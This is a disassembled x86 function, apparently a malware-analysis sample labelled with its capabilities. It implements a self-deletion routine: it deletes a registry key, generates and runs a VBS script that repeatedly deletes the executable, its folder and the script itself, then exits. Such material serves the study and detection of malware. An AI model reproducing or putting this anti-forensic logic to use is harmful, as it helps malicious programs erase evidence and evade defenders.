Function at 0x408837
Capabilities:
Create process on windows
Delete registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a4
lea eax, [ebp - 0x2a0]
push ebx
push esi
push edi
mov ebx, 0x208
xor edi, edi
push ebx
push edi
push eax
call fcn.0042ec60
add esp, 0xc
mov esi, 0x467f88
mov ecx, esi
call fcn.00402040
push eax
mov ecx, esi
call fcn.00402048
push eax
push ebx
lea eax, [ebp - 0x2a0]
mov esi, 0x467f40
push eax
push str.exepath
mov ecx, esi
call fcn.00402048
mov edx, eax
call fcn.0040d1ab
add esp, 0x14
test al, al
jne 0x4088a6
push ebx
lea eax, [ebp - 0x2a0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, esi
call fcn.00402048
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ebx, 0x467f58
mov byte [ebp - 1], 1
mov edx, 0x45962c
mov ecx, ebx
call fcn.00406afc
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test al, al
je 0x4088e7
push 0x80
mov ecx, ebx
call fcn.00404c62
push eax
call esi
push 0x80
lea eax, [ebp - 0x2a0]
push eax
call esi
mov ebx, eax
lea ecx, [ebp - 0x1c]
neg ebx
push str..vbs
sbb bl, bl
call fcn.00413f74
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.00414245
mov edx, eax
lea ecx, [ebp - 0x94]
call fcn.00407d3f
pop ecx
lea ecx, [ebp - 0x4c]
call fcn.0040351f
lea ecx, [ebp - 0x1c]
call fcn.004020b1
lea eax, [ebp - 0x94]
push eax
push 0x4596b8
push 0x459a28
call fcn.004325b2
pop ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00403529
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00407d3f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x7c]
call fcn.0040944c
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.0040351f
lea ecx, [ebp - 0x4c]
call fcn.0040351f
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x1c]
call fcn.00403529
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [ebp - 0x34]
call fcn.00409470
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.0040351f
and bl, byte [ebp - 1]
je 0x4089ee
push 0x459ad0
lea eax, [ebp - 0x2a0]
push eax
lea ecx, [ebp - 0x64]
call fcn.00403529
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [ebp - 0x4c]
call fcn.00409470
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00407d3f
pop ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.004064e2
lea ecx, [ebp - 0x1c]
call fcn.0040351f
lea ecx, [ebp - 0x4c]
call fcn.0040351f
lea ecx, [ebp - 0x64]
call fcn.0040351f
push 0x459b08
lea eax, [ebp - 0x2a0]
push eax
push str.fso.DeleteFile__
lea ecx, [ebp - 0x4c]
call fcn.00403529
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00407d3f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00407d3f
pop ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.004064e2
lea ecx, [ebp - 0x64]
call fcn.0040351f
lea ecx, [ebp - 0x1c]
call fcn.0040351f
lea ecx, [ebp - 0x4c]
call fcn.0040351f
test bl, bl
je 0x408a4f
push str.wend_n
lea ecx, [ebp - 0x34]
call fcn.004064d9
mov ebx, 0x45962c
mov esi, 0x467f58
mov edx, ebx
mov ecx, esi
call fcn.00406afc
test al, al
je 0x408a9e
push 0x459b08
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [ebp - 0x1c]
call fcn.00409494
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00407d3f
pop ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.004064e2
lea ecx, [ebp - 0x64]
call fcn.0040351f
lea ecx, [ebp - 0x1c]
call fcn.0040351f
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x34]
call fcn.004064d9
push ecx
lea ecx, [ebp - 0x7c]
call fcn.00404c62
push eax
lea ecx, [ebp - 0x34]
call fcn.00402040
mov esi, eax
lea ecx, [ebp - 0x34]
add esi, esi
call fcn.00404c62
mov edx, esi
mov ecx, eax
call fcn.004149a8
pop ecx
pop ecx
test al, al
je 0x408af0
push edi
push ebx
push ebx
lea ecx, [ebp - 0x7c]
call fcn.00404c62
push eax
push 0x4595bc
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]